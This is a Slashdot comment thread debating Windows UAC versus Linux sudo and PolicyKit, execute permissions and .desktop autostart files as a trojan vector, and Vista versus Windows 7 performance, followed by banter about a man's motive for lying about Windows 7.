    209. Re:Eh wouldn't surprise me... by toadlife · · Score: 1

      I'd like to know why this post was modded 'overrated'. What there something technically incorrect in it, or is this a case of someone with modpoints who's upset because his god was pointed out to be fallible?

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    210. Re:Eh wouldn't surprise me... by toadlife · · Score: 1

      EvanED,

      You are the ONLY linux user I've ever come across that hasn't either outright flamed me verbally, or rationalized it away what I said in my original post as something trivial.

      I wouldn't bother filing a bug report with Ubuntu as the same bug report has been filed in the past. It will be closed and marked with something to the effect of "behavior by design". Don't bring it up in their forum either. Bringing up the default SUDO implementation will get your post deleted immediately.

      Notice that my original post was modded, 'overrated', and both of your follow up posts were modded up.

      Kudos

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    211. Re:Eh wouldn't surprise me... by oji-sama · · Score: 1

      Right. The only app that I use somewhat frequently that needs elevated access is Mass Effect 1 (from Steam). I was kind of worried about it, but what can I do (other than not play it)... Other programs seem to be fairly well behaving bunch after installation is over.

      --
      It is what it is.
    212. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      Having to chmod the .desktop files in .config/autostart wouldn't really change anything about my technique; you'd just have to add one more step to do chmod +x trojan.sh.desktop after creating that file. The thing the user runs to set all this up would have exactly zero difficulty doing this.

    213. Re:Eh wouldn't surprise me... by SanityInAnarchy · · Score: 1

      Yes, that is the potential insecurity, and it's also why this is configurable.

      However, I would think the same applies to the Windows security model -- either it prompts for a password every time (and is thus annoying), or it doesn't (and is thus insecure).

      --
      Don't thank God, thank a doctor!
    214. Re:Eh wouldn't surprise me... by Pharmboy · · Score: 1

      Just barfs on install. I spent 3 hours trying one day right after I installed W7/Pro 64bit, clean install. Might be a 64bit issue, but I've looked pretty hard for answers and found none. If I get time, will try again, but it isn't from a lack of trying or basic understanding. I even downloaded a patch program, from MS, but did no good. And this is on a decent box, Core 2 Q9650/8GB RAM/ATI 4650-512mb.

      --
      Tequila: It's not just for breakfast anymore!
    215. Re:Eh wouldn't surprise me... by SurturII · · Score: 1

      + 5, psychedelic for using enormously complex system and huge security benefits in the same sentence.

      I wish I could mod you up. Completely agree.

    216. Re:Eh wouldn't surprise me... by Anpheus · · Score: 1

      Real security is complex. You want application X to do A, B, and C. Application Y can only do A and C, application Z can do A except when X is doing C, or whatever.

      SELinux affords you a lot of options, more options than I could correctly configure. On the other hand, the ability for security experts to create predesigned secure profiles will reduce the apparent complexity.

    217. Re:Eh wouldn't surprise me... by commodore64_love · · Score: 1

      For me the problem didn't have anything to do with drivers. They all worked fine.

      For me the problem was that Microsoft lied to the hardware makers, told them 512 MB wouldn't run Aero but would still be sufficient to run Vista, and my brother ended-up with a 512 MB machine that ran slower than his old XP machine on only 128 megabytes, and suffered severe hard drive thrashing.

      Depending on your viewpoint, the software was either vastly bloated because it needed 1024 to run properly (in contrast the Mac OS released that same year ran great on only 256 MB) - or else the software was fine but MS was guilty of lying about the hardware specs.

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    218. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Nobody, including Microsoft, is even remotely claiming that Windows 7 is faster than XP. That is a laughable statement.

    219. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      It sounds like you have been reading a Microsoft propaganda sheet. Because you certainly don't understand that Windows 7 is still a security sieve and UAC does nothing to prevent it other than try to blame the user for their machine getting infected. Microsoft's 'LUA' is of little help - it attempts to isolate applications rather than protect the system. And malware bots get around LUA anyway. It's easy to get a rootkit on Windows 7 and UAC doesn't stop it. No secure system can remain secure for long, no matter the level of sophistication in the fundamental architecture, if users romp around with the root account. Windows doesn't have a good way to do this. Windows doesn't have a secure way to do this. Windows doesn't have a viable counterpart at all. Windows admins (members of the user group 'Administrators') can assume ownership of resources (Registry keys, files, directories) owned by the system, but there's no easy way to give ownership back. Windows theoretically has the equivalent of the root account ('SYSTEM') but it's not used the same way at all. A Windows installation, whether already there thanks to the OEM or performed by the user with an external medium, will set various access control entries to provide a modicum of protection, but this doesn't yield any flexibility for the user and it's not particularly effective either. So much for being "sophisticated". Windows malware can write to anywhere on disk. And if it can do that, it can own the system - it can become a rootkit. The reason so many Windows users were hit with a BSOD after applying the latest Microsoft patch was they were already infected by a rootkit and they didn't know it. You need to get some real world experience and an in depth understanding of Windows internals and malware before regurgitating Microsoft's latest spin.
      And then there's the even bigger issue: what can Microsoft do to a Windows user without said user's express permission? Aren't stealth installs the same or worse than supposedly malicious rootkits? Isn't Windows in such case the biggest virus of all time? Complaints about how Microsoft effectively exercise remote control over user systems aren't new
      The main reason Microsoft have taken this stance - and ignored the protests of security and privacy advocates - is their spin doctors demand it. Windows is such a sorry mess that a single malplaced byte can cause a worldwide epidemic. And then the media will go nuts and Microsoft will get a lot of bad publicity. And they can't have that. So they run programmes like WGA and WAT instead - they force updates on their users (and simultaneously perform amateurish consistency checks to make sure you haven't stolen your precious Windows system).
      Be it a Microsoft update or a rootkit outbreak, the overreaching issue is the same: Windows can't be secured.

    220. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      Hell, all the malware writer would need to do is put things into a .tar.gz file and say "extract and run".

      All GUI archive managers require a separate "Extract" command (that preserves execute permission), that is different from the default action that is to view a file (without giving it an execute permission even if it is present in the archive). I guess, it will be better if "extract" was not just separate but produced some kind of warning and confirmation screen by default in a "newbie" mode, however for a GUI-only user there is already a pretty noticeable distinction. For anyone but total newbies it should be obvious that the user should NEVER run anything he downloads unless he is installing some software that is not in a repository -- as root, as his own user or as anyone else.

      Handling of .desktop files in file managers is, indeed, a problem that must be fixed. Personally I would just turn them into traditional #! scripts with "interpreter" doing what a file manager would, and file manager refusing to execute anything in them unless they are executable.

      --
      Contrary to the popular belief, there indeed is no God.
    221. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      Except there will be no one to perform this step -- without a .desktop file there is no way to run an arbitrary executable as the user unless you are already an executable running as that user. Buffer overflow or a similar exploit would be the only way to do so.

      In your example you have created an executable python file by yourself, however you provided no explanation how such a file would appear on the user's filesystem. It would be reasonable to assume that .desktop file would be able to just run python with it as an argument, and that requires current (insecure) handling of .desktop files.

      --
      Contrary to the popular belief, there indeed is no God.
    222. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      You call these "Windows problems". Most people call them, "how computers work".

      Running executable not installed by a package manager or a sysadmin, and not written by the user himself is something that no user should ever do on a non-Windows system.

      execute bits offer zero security in the context of a desktop usage and are nothing but an annoyance.

      It's only an annoyance if the user has to run random shit he downloaded from untrusted locations -- what means that his computer is already pwned. Anything that a user can do to validate the file he is about to run has to be more of an "annoyance" than setting up an executable bit after he verified that executable is indeed trusted, so if the user is "annoyed" by having to set this bit and not annoyed by having to verify thing he is chmod'ing, he is doing something terribly wrong, and no security model is going to help him.

      The behavior of all newly created files non being able to be executed can be replicated in Windows quite easily using default ACLs,

      Except, of course, Windows file manager and large amount of Windows software do not provide usable support for it. There is also a matter of what "executable" means in Windows vs. what "executable" means in a Unix-like system.

      but it is only used in situations where it has a practical use, like servers that allow users to upload files.

      Servers are not supposed to be capable of executing anything other than a predefined set of scripts in the first place (or anything at all). This is a completely different matter.

      Sandboxing of processes (SELinux, AA, PolicyKit and yes, UAC) is the future of security - not execute bits and file formats.

      Sandboxing should never involve asking user about anything -- a process born in a sandbox dies in a sandbox, and should never access anything outside the sandbox other than through a minimal sanitized interfaces (say, GUI). The only time a user may be asked would be when a file produced by a sandboxed process should be made available to other processes -- however at that point nothing should be actually executed.

      Neither PolicyKit nor UAC are sandboxes -- they take a regular process and determine its access to services the process would otherwise not be able to access. They may be used from a sandbox, however this is not their primary purpose. And, of course, PolicyKit has, well, policy at its core while UAC is a computer equivalent of the current airport screening procedures -- plenty of noise and delays, and no real improvement.

      --
      Contrary to the popular belief, there indeed is no God.
    223. Re:Eh wouldn't surprise me... by drsmithy · · Score: 1

      I bet AERO did not run very well (or at all?) on that under a grand computer.

      Sure it did. Aero's minimum requirements were for a video card about 3-4 years old at the time, and video card technology in the PC world moves quickly and cheaply.

      Eliminating AERO is how the speed is achieved.

      Incorrect. Using Aero improves performance by offloading the graphics subsystem to the video card.

      There lies the true comparison. Macs have always had a resource hungry graphics layer, but the history, even with Mac Classic, is successive releases always improved speed

      This is also not correct.

    224. Re:Eh wouldn't surprise me... by drsmithy · · Score: 1

      Care to enlighten me with your superior knowledge (or just a link to a good article that documents what I'm assuming wrong)? I'm always willing to learn and/or correct existing understanding.

      *Any* documentation about UAC would have shown you that your "admin by default and adding blockers" assumption was incorrect, which is how I know you've never bothered to do any research on the topic (outside of maybe reading Slashdot). The Wikipedia page is as good a source as any for an overview.

      I know my statement of "trying to do sudo" is a gross over-simplification as the family of features UAC belongs to tries to do more than just that specific sort of privilege management, but a more detailed discussion didn't seem relevant to pointing out that UAC (as most end users see it, which is just the prompts on the "secure desktop") was far from the top sticking point that stopped people and companies upgrading to Vista if they would otherwise have put the time/money down for the upgrade.

      UAC is as close to sudo as is possible within the constraints of the (more functional) Windows security system architecture. Probably the biggest difference is that the user's own privileges are elevated, rather than the user assuming the ID and capabilities of a different account.

      The point, however, is that they both start from a position of low privileges.

    225. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      All GUI archive managers require a separate "Extract" command (that preserves execute permission), that is different from the default action that is to view a file (without giving it an execute permission even if it is present in the archive).

      I have to admit I only tried "tar xvf" to verify that permissions were preserved. Nevertheless, you really think you couldn't get people to actually extract an archive?

      For anyone but total newbies it should be obvious that the user should NEVER run anything he downloads unless he is installing some software that is not in a repository -- as root, as his own user or as anyone else.

      Yeah, that users won't run crap is well justified.

      And because I ran out of words in that sentence before links, here are some more: 1 2 .

      To put those into context, those are all links from Wikipedia's "Timeline of Notable Computer Viruses and Worms" from the last decade, including the only two entries on that page from 2009 and 2010. Most of the above had a noticeable amount of mainstream press coverage at the time, and the list includes names like ILOVEYOU, Sobig, MyDoom, and Storm.

      Sure, they aren't the scariest worms out there, and over the last few years they haven't been the most damaging. But at the same time, if I got to bet whether a manually-spread trojan is worthwhile, I know which side of that bet I'd take.

      Personally I would just turn them into traditional #! scripts with "interpreter" doing what a file manager would, and file manager refusing to execute anything in them unless they are executable.

      The .desktop files contain rather more information than just what program to run. How would you deal with that? Specially-formatted comments in the script? Pass the script a command line argument?

      Besides, it's not like running scripts without execute permissions is a new concept. "source foo.sh", ". foo.sh", "perl foo.pl", "python foo.py", etc. IMO are all comparable to Gnome looking into the .desktop files on boot to see what to run.

    226. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      Yeah, that users won't run crap is well justified.

      It only happens because on Windows "Run" and "Open" are the same action in GUI, and almost everything is distributed as an executable. Even things that have no actual executable content are often in self-extracting archives. Linux does not default to this download-and-execute sequence if user just blindly click on links and icons -- any modern GUI will steer such user into a viewer and won't create an executable file unless user selects "Extract" option, then selects or makes a target directory.

      The .desktop files contain rather more information than just what program to run. How would you deal with that? Specially-formatted comments in the script? Pass the script a command line argument?

      No, I would just make a special "interpreter" that takes existing .desktop format plus #! line and runs whatever is in "Exec" entry. The only reason for it would be consistency -- nothing would be lost if executable .desktop files always started with "#!/bin/false" because the true purpose of the executable bit is to tell file/desktop manager/menu program that .desktop file is indeed allowed to execute things, the interpreter will exist just for consistency sake, so I can say

      ./Desktop/Firefox.desktop &

      and it will do the same as

      ./Desktop/Firefox.sh &

      as opposed to a bunch of errors from shell that would happen if .desktop files in the current #!-less format were made executable.

      --
      Contrary to the popular belief, there indeed is no God.
    227. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      It only happens because on Windows "Run" and "Open" are the same action in GUI...

      I don't know if you noticed, but this is the same on Linux, at least with compiled executables. (I did notice that for scripts it asks if you want to open or run.) ...and almost everything is distributed as an executable. Even things that have no actual executable content are often in self-extracting archives.

      Actually I'd say this doesn't matter all that much... half the time the virus uses the old "foo.jpg.exe" trick so that it doesn't even look like it's a program in the first place.

      (Granted, this problem goes away somewhat on Linux.) ...any modern GUI will steer such user into a viewer and won't create an executable file unless user selects "Extract" option, then selects or makes a target directory.

      And I still think you're deluding yourself if you think that adding "just double click on the file and choose extract" in the email wouldn't catch a sizable population of people if the world was instantly moved from Windows to Linux (if people were as proficient with Linux after the switch as they are with Windows now).

      No, I would just make a special "interpreter" that takes existing .desktop format plus #! line and runs whatever is in "Exec" entry.

      Oh, I think I may understand your beef with the .desktop files now: you can actually launch what's in the exec line by double clicking on it. Is that your problem?

      If so, I somewhat see where you're coming from. I was only thinking of them as files that were read when Gnome logged on, so double clicking on them didn't enter the picture.

    228. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      Running executable not installed by a package manager or a sysadmin, and not written by the user himself is something that no user should ever do on a non-Windows system.

      On my system at work, I have a couple gigs of software I have installed to ~ because I don't have root.

      I probably should check PGP signatures... but I don't.

      (Just FYI, except for installers, there's barely more reason to run an executable on Windows than there is on Linux. And if you don't trust the installer, why do you trust the package from the package manager?)

    229. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      I don't know if you noticed, but this is the same on Linux, at least with compiled executables. (I did notice that for scripts it asks if you want to open or run.)

      But only for files with executable permission. That is never set unless either:

      1. It's installed with a package manager.
      2. User explicitly set it.
      3. It's extracted from an archive specifically as a directory with files.

      You can't download a file, and it will automagically become executable, no matter what is in it. And GUI will at very least steer you away from doing it with archives and packages.

      And I still think you're deluding yourself if you think that adding "just double click on the file and choose extract" in the email wouldn't catch a sizable population of people if the world was instantly moved from Windows to Linux (if people were as proficient with Linux after the switch as they are with Windows now).

      Except it won't. You can't email a file that will run on a double-click -- unless your mail reader supports .desktop, the only file that allows things to execute without itself being executable.

      Oh, I think I may understand your beef with the .desktop files now: you can actually launch what's in the exec line by double clicking on it. Is that your problem?

      If so, I somewhat see where you're coming from. I was only thinking of them as files that were read when Gnome logged on, so double clicking on them didn't enter the picture.

      This is exactly the problem. No other kind of file, no matter what is in it, will run anything unless it has executable permission, so user can click on things until his mouse will wear out, and all he will see is viewers. He has to choose to extract the file, and archive manager will even, very unhelpfully, not even automatically change into directory that he created, so he has to specifically choose to uncompress things. If he will use any archive-mounting option or file manager that shows archives as directories, he will get a non-executable file.

      Except now there is one exception to this rule -- .desktop, the only broken link in the chain of distrust.

      --
      Contrary to the popular belief, there indeed is no God.
    230. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      On my system at work, I have a couple gigs of software I have installed to ~ because I don't have root.

      If you don't have root, everything that was said about sudo is irrelevant -- if you run anything malicious, at very least it will be confined to your account. If your sysadmin keeps, say, incremental backups of your home directory at the same host, you will even be able to recover from this.

      (Just FYI, except for installers, there's barely more reason to run an executable on Windows than there is on Linux.

      On a properly configured system with software written in a sane manner, there are no reasons to run random untrusted stuff. Unfortunately Windows and only Windows is "blessed" with things like data being distributed in executable self-extracting archives, lack of repositories of software with consistent tracking of dependencies, poor support for common file formats, etc., so people end up distributing everything in an executable.

      And if you don't trust the installer, why do you trust the package from the package manager?)

      Because even if I trust the software developer, I also trust a package maintainer, distribution repository maintainer, authors of apt, certificate authority and people who developed signature checking procedure a whole lot more than I trust each and every person that did, or could, add something to an executable installer on the way between a host where a piece of software was compiled and my computer. People seem to forget that not too long ago the only way malware could propagate itself was by attaching to perfectly legitimate executables so it remained completely invisible to the victims until it was too late -- and it was a massive pain in the ass even then.

      --
      Contrary to the popular belief, there indeed is no God.
    231. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      Only if said malware is already running with your permissions -- what is a separate thing that should be prevented by sandboxing, and I agree that it should be used more widely than it is now.

      --
      Contrary to the popular belief, there indeed is no God.
    232. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      Setting aside the fact that keylogging in X can be done without root, yours is another example of how gksudo is inferior in terms of security to UAC.

      Try it. gksudo switches into a "locked" mode before asking for the password, so keyboard events are not passed to other applications.

      A process without admin rights in Windows cannot imitate a UAC prompt.

      It can run another process that will do it on its behalf. sudo can limit the set of command line options that can be run through it, so such things can (and should, though usually aren't) be prevented, UAC with its lack of policy, does not do it at all, and relies on the user divining the validity of the actions that it doesn't even reliably attribute to the program.

      --
      Contrary to the popular belief, there indeed is no God.
    233. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Grandma isn't going to install Office to her root directly you retard.

    234. Re:Eh wouldn't surprise me... by mdarksbane · · Score: 1

      I think the problem was really one of what features got added at the same time.

      From a user perspective, there is very little improvement to running Vista over XP. It is *better*, but it is not significantly better.

      In the only real comparative examples, when windows 95 came out it was head and shoulders better than Windows 3.1, so you put up with the headaches and changes and incompatibilities. When OS X came out, it was so much better than classic in ways that users can notice that you put up with it being a little slower or having some UI annoyances.

      Vista offered almost nothing tangible to the user experience. They made some big security fixes - and good for them that they did! But there just wasn't as much of a gap - you got all of the buggy drivers and incompatibilities and oh my old software doesn't install or run right any more without a big enough benefit on the user side to cancel it out.

      Also, you can just complain about the developers (driver or otherwise) when as part of the new system you make it 3x as hard to develop (in the driver case), or at least requiring massive rewrite of large portions of code. The vista model of having to care about what rights you have when you run is a better model. I believe it is an improvement 100%. I also know it causes massive, major development headaches when your old code didn't worry about rights, and more importantly, the developers didn't even know they weren't worrying about rights.

      And here's the fun thing - I know quite a few devs who still don't test that much on vista, because they aren't getting enough users who care about it yet... fun times.

    235. Re:Eh wouldn't surprise me... by ultranova · · Score: 1

      For under a grand you could get a machine that would run Vista well (really all you needed was 2GB RAM, though dual core helped as well).

      Vista, on 2GB of RAM and a dual-core Athlon, runs like a paralyzed pig on molasses. Win7, on 4GB and a quad-core i5 (just under a grand, all in all), is in a completely different class.

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    236. Re:Eh wouldn't surprise me... by qubezz · · Score: 1

      The UAC prompts became far less common as time went on because publishers fixed their software that was doing things that even in XP they shouldn't have been doing (and getting more secure in the process).

      Developers have had over a decade to get in shape. Locking down a domain on Win2000 was nearly impossible because every single app wanted to write data all over the hard drive instead of just the user profile. Letting a bookkeeper run Quickbooks meant making that person at least a local admin and tweaking (unsecuring) permissions on the computer, thus allowing the bookkeeper's computer become spyware central from all the crap WildTangent games and screensavers you couldn't make the idiot not install even after multiple waahs and removals.

    237. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      If the software follows Microsoft's best practices for security by installing itself in the proper directories, there is no UAC interaction at all.

      [citation needed]

      Un-elevated processes do not have write permissions to the Program Files folder. So I'm unsure what "proper" installation directories you're talking about. But at least one UAC prompt should occur when installing ANY software.

      Maybe you're running on a machine upgraded from XP?

    238. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      I never claimed, and I don't think anyone claimed, that all the design decisions in Vista were bad.

      Nope, all you had to do was posts like this which, you are right, do not claim all the design decisions are bad. You just infer the fact, and then blame the person reading it for coming to the decision you wanted them to if you are called out on it.

    239. Re:Eh wouldn't surprise me... by ultranova · · Score: 1

      That's because Microsoft imitated sudo and not PolicyKit, that places the choice into the hands of the system developer or a sysadmin, not user.

      For almost all Windows desktops, those user is the sysadmin. Add the fact that all my problems so far with Windows 7 have come from having to circumvent automation and security (CRT EDID information and mandatory signed drivers, specifically), I'd say that placing power into user hands is a good thing.

      An even better thing would be to be able to grant specific powers to programs, rather than just the general do-whatever-you-please admin rights, but I guess that's not happening.

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    240. Re:Eh wouldn't surprise me... by Utoxin · · Score: 1

      That's slandering Lewinski, not Office.

      --
      Matthew Walker
      http://www.tweeterdiet.com/ - My Diet Tracking Tool
    241. Re:Eh wouldn't surprise me... by Rewind · · Score: 1

      Hm not sure what the issue is then. I run it fine on a Core 2 Duo E6850, 6 gigs of ram, eVGA 9800GTX+ on Win 7 64. Never had an issue. Do you have an older box running XP or something? If so, you can install it on there and then copy the files over. It will whine about some missing DLL files, but you can copy them from the XP box. Then it should just ask you for your CD key on first run on the 7 machine.

      --
      ?
    242. Re:Eh wouldn't surprise me... by SanityInAnarchy · · Score: 1

      Read more carefully, that's all I can say.

      Well, and write more carefully:

      You just infer the fact,

      The word you're probably looking for is "imply".

      So you've making several mistakes here. First, you're assuming that I'm the one who originally claimed (or implied) anything at all in this thread, which I'm not (just look at the usernames). Second, even if I did say "Vista sucks," why would you ever assume that I think everything about Vista is bad? There are even things to like about Windows ME.

      --
      Don't thank God, thank a doctor!
    243. Re:Eh wouldn't surprise me... by imagoon · · Score: 1

      hrm strange, I scroll down that page you linked and see a 'download hot fix link.' Seems they fixed it and even rolled it to Windows 7.

    244. Re:Eh wouldn't surprise me... by ill1cit · · Score: 1

      Apples meet oranges.

      NSA also regularly created Windows (desktop and server) and even mac, and some routers security guidelines and since Vista they just recommend using microsofts SSLF templates (which the NSA have "vetted") provided with the gpo accelerator tool.

      SELinux was created because there was no easy way to implement all the l00nix recommendation in a base l00nix system. Windows already had GPO so they didn't need to build something.

      Apples meet apples.

    245. Re:Eh wouldn't surprise me... by ill1cit · · Score: 1

      Ubuntu some version, wouldn't display properly on my TV (HTPC).
      Wireless mouse and keyboard required hours a messing around to get working.
      New distro upgrade, stop working altogether (oh shit lets just drop support for an entire steam of intel integrated cards).


      Luckily it was duel boot with WinXP 64bit.

      Since then it is now running 7 and I stick to l00nix for my VPSes.

      Every time I have setup some l00nix distro as a desktop there is always hours of messing around to get it working properly. Once apon a time I did enjoy the messing around, but these days I just want something that works (probably because I do another messing around during my day job).

      By far Win7 has been the easiest and cleanest OS to get up and going out of every OS I have used.

    246. Re:Eh wouldn't surprise me... by ill1cit · · Score: 1

      Well I can safely assume you are just a lying one eyed l00nix fanbois. Because UAC certainly doesn't ask me if I want to do a virus scan, or if I want to open word. Way to invalidate anything you might actually say on this topic by spewing complete and utter bullshit.

    247. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      Except it won't. You can't email a file that will run on a double-click -- unless your mail reader supports .desktop, the only file that allows things to execute without itself being executable.

      Please read what I said. I said "And I still think you're deluding yourself if you think that adding 'just double click on the file and choose extract' in the email wouldn't catch a sizable population of people".

      I guess I could have said "mail a TAR file" there too, but the point is that if you put those instructions in, the file you mail out wouldn't need to be executable.

      I plan on putting together a demonstration of how I think this attack could play out, but it'll take a couple hours that I won't have for the next couple of days, so check back sometime over the weekend.

      This is exactly the problem. No other kind of file, no matter what is in it, will run anything unless it has executable permission, so user can click on things until his mouse will wear out, and all he will see is viewers. ... Except now there is one exception to this rule -- .desktop, the only broken link in the chain of distrust.

      To be fair:

      - At least Ubuntu's configuration of Gnome asks for confirmation the first time you run a particular .desktop file, asking you if you want to add it to a trusted list, just run it, or do nothing. It's possible this is a new feature. So .desktop files aren't even as vulnerable as you think.

      - Also, I don't see a .desktop file playing any role in my attack, except to the extent that it falls into the autorun folder; once there the exact protocol for how it's run (exec bit or no) is pretty irrelevant.

    248. Re:Eh wouldn't surprise me... by drsmithy · · Score: 1

      Vista, on 2GB of RAM and a dual-core Athlon, runs like a paralyzed pig on molasses.

      Nope, runs fine (unless you've got some broken hardware somewhere). Indeed, it's mostly about RAM - even on a single core, with 2G of RAM and a non-crap video card, it's quite usable.

      Win7, on 4GB and a quad-core i5 (just under a grand, all in all), is in a completely different class.

      As it should be, regardless - that hardware is probably around twice as fast.

    249. Re:Eh wouldn't surprise me... by Pharmboy · · Score: 1

      The box was running Vista 64 and ran it fine, did a clean (and legal) install of Win 7. Had it on an old P4/3.2 (its an old copy) so I know the media is fine. Might try your idea of copying files, although may have to migrate some reg entries as well.

      --
      Tequila: It's not just for breakfast anymore!
  2. Reason by xbeefsupreme · · Score: 1

    I wonder what his motivation for lying like about it was.

    1. Re:Reason by Beelzebud · · Score: 4, Insightful

      That's simple. Money.

    2. Re:Reason by xbeefsupreme · · Score: 2, Funny

      I see, makes me wonder what he would lie about to get sex.

    3. Re:Reason by Anonymous Coward · · Score: 0

      Mm-hmm. Sensationalism is always what brings in the viewers. *COUGH*PUNDITS*COUGH*FOXNEWS*COUGH*

    4. Re:Reason by Narpak · · Score: 1

      I wonder what his motivation for lying like about it was.

      Duh, Paranoia 101; The guy was obviously a covert operative from Microsofts Intelligence Service put there to discredit views that criticize Windows. As my conspiracy teacher told me "Never attribute to stupidity what can be explained by malicious intent from our evil alien overlords!"

    5. Re:Reason by Anonymous Coward · · Score: 3, Insightful

      Well, I'm sure Apple is a little worried considering Windows 7 is actually good. Now, it's still Windows but let's be honest, it's pretty good. Consider UNIX has been around for getting on 40 years meanwhile Windows is what, 15 years old? Given that I would say yeah it's starting to getting pretty decent.

    6. Re:Reason by icepick72 · · Score: 1

      >> I wonder what his motivation for lying like about it was

      The same motivation you had for that grammatical error: stupidity. Nothing personal, it's just an analogy.

    7. Re:Reason by xbeefsupreme · · Score: 1

      That actually makes a little bit of sense now that I think about it.

    8. Re:Reason by xbeefsupreme · · Score: 1

      What would be the correct way to arrange the words?

    9. Re:Reason by MillionthMonkey · · Score: 2, Insightful

      Stupidity is a meta-motivation, not a motivation itself. Being stupid makes certain motivations possible.

    10. Re:Reason by WrongSizeGlass · · Score: 5, Funny

      I wonder what his motivation for lying like about it was.

      I'm not sure, but Craig Barth is an anagram for Hair Grab Ct, which is obviously the location of the next clue.

    11. Re:Reason by bhassel · · Score: 2, Funny

      Incidentally, it is also an anagram for Grab at Rich

    12. Re:Reason by shutdown+-p+now · · Score: 1

      I suspect he believed the content of his message, and was willing to go to whatever lengths necessary to get the message out, even if that meant fraud elsewhere. You know, the kind of guy who dreams of outing an evil megacorp.

    13. Re:Reason by Totenglocke · · Score: 0, Offtopic

      Obviously we have Mac fanboy's with mod points. If you bothered to read my comment, I said it was a joke - besides, the person asked what his motivation for lying might be and I gave a possible explanation, so it's far from off topic.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    14. Re:Reason by Nefarious+Wheel · · Score: 1

      I'm not sure, but Craig Barth is an anagram for Hair Grab Ct, which is obviously the location of the next clue.

      It's also an anagram for Rig bar chat. Anything to stir controversy, then...

      --
      Do not mock my vision of impractical footwear
    15. Re:Reason by Anonymous Coward · · Score: 0

      More like 25 years old... well, 24 and a half - The first version wasn't Windows 95 after all... (which may have just been a typo on your part, but it reminds me of a kid at a summer camp I worked at that overheard a conversation I was having with a friend about "original nintendo", to which the kid interjected that his favourite game for original nintendo was MarioKart 64.)

    16. Re:Reason by Anonymous Coward · · Score: 0

      Windows 7 is actually good.

      Well, that's stretching it a bit. Windows 7 is heaps better than Vista, but I've had bowel movements which function as an OS better than Vista does.

    17. Re:Reason by Minwee · · Score: 2, Funny

      It's also an anagram for Rig bar chat. Anything to stir controversy, then...

      And since what he did was rig a bar _chart_, we know that the culprit must be from Boston. Let's travel there and see if we can find another clue leading to Carmen Sandiego.

    18. Re:Reason by EvanED · · Score: 1

      More like 25 years old... well, 24 and a half - The first version wasn't Windows 95 after all...

      You could make a decent argument that the first version of what we now call "Windows" was NT 3.1, released in 1993. That'd put Windows at a little less than 17 years old. This is certainly true of the kernel.

      Counting the Windows subsystem from that point would be a bit more sketchy; going back to the pre-NT Windows days would be fair for that. Of course, if you take that position, you could also say that going back to 1980 -- for the MS-DOS subsystem -- is fair, which would put it at 30 years.

    19. Re:Reason by Anonymous Coward · · Score: 0

      it reminds me of a kid at a summer camp I worked at that overheard a conversation I was having with a friend about "original nintendo", to which the kid interjected that his favourite game for original nintendo was MarioKart 64

      Oh god. Dealing with kids like that annoys me to no end. Not only because they don't have the foresight that Nintendo existed prior to their living memory, but also because it makes me feel old.

      For that matter, you can't really appreciate what we have now if you grew up on Halo like some kids today.

    20. Re:Reason by node+3 · · Score: 1

      Yeah, it seems as though apple (and it's customers) are quicker to bash their competitors than explain the features of their own products.

      Says the guy bashing Mac users...

    21. Re:Reason by xbeefsupreme · · Score: 1

      That was an observation, a bash would be: "Macs cannot play games". There is a difference.

    22. Re:Reason by node+3 · · Score: 1, Insightful

      Obviously we have Mac fanboy's with mod points.

      Using terms like "Mac fanboy's[sic]" is enough to be off topic. And it's not a joke when you next say, essentially, "but it's probably true".

      Your mom's a whore. I'm joking, but I wouldn't be surprised if it were true. You're a PC wanker, and if you mod me down, I'll just blame it on other PC wankers.

      See what I'm getting at?

    23. Re:Reason by Trev311 · · Score: 5, Funny

      That's simple. Money.

    24. Re:Reason by node+3 · · Score: 1

      Duh, Paranoia 101; The guy was obviously a covert operative from Microsofts Intelligence Service put there to discredit views that criticize Windows.

      I know you're joking, but MS has done shit like that in the past. I don't think that's the case here, but there's nothing in "The Shady, Underhanded Guide to Dominating a Market" that MS hasn't done before.

      You should read some of the emails from the anti-trust cases. They are very revealing.

    25. Re:Reason by icepick72 · · Score: 1

      Why do you assume the word arrangement is a problem?

    26. Re:Reason by Totenglocke · · Score: 1

      Let's see, who are the two groups of people who would make up lies about Windows 7, the best OS Microsoft has made? Hmmm, there's only two groups - can you think of them? Oh, right, Mac fanboys and Linux fanboys. Taking a guess and picking one of the two is NOT being off topic.

      But hey, why use common sense when you can just troll anyone who doesn't blindly bash Windows.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    27. Re:Reason by maxwell+demon · · Score: 1

      That was an observation, a bash would be: "Macs cannot play games". There is a difference.

      That would be bashing Mac, not bashing Mac users.

      --
      The Tao of math: The numbers you can count are not the real numbers.
    28. Re:Reason by xbeefsupreme · · Score: 1

      Oh, I see my mistake now.

    29. Re:Reason by icepick72 · · Score: 1

      Now go through all my past posts and see the plethora of mistakes I make. I'm just farting around online. Originally I was going for +5 Funny but it obviously sucked, and I think it came off as mean spirited. Thanks for putting up with yet another asshole online. This time it was by happenstance but still...

    30. Re:Reason by bonch · · Score: 1

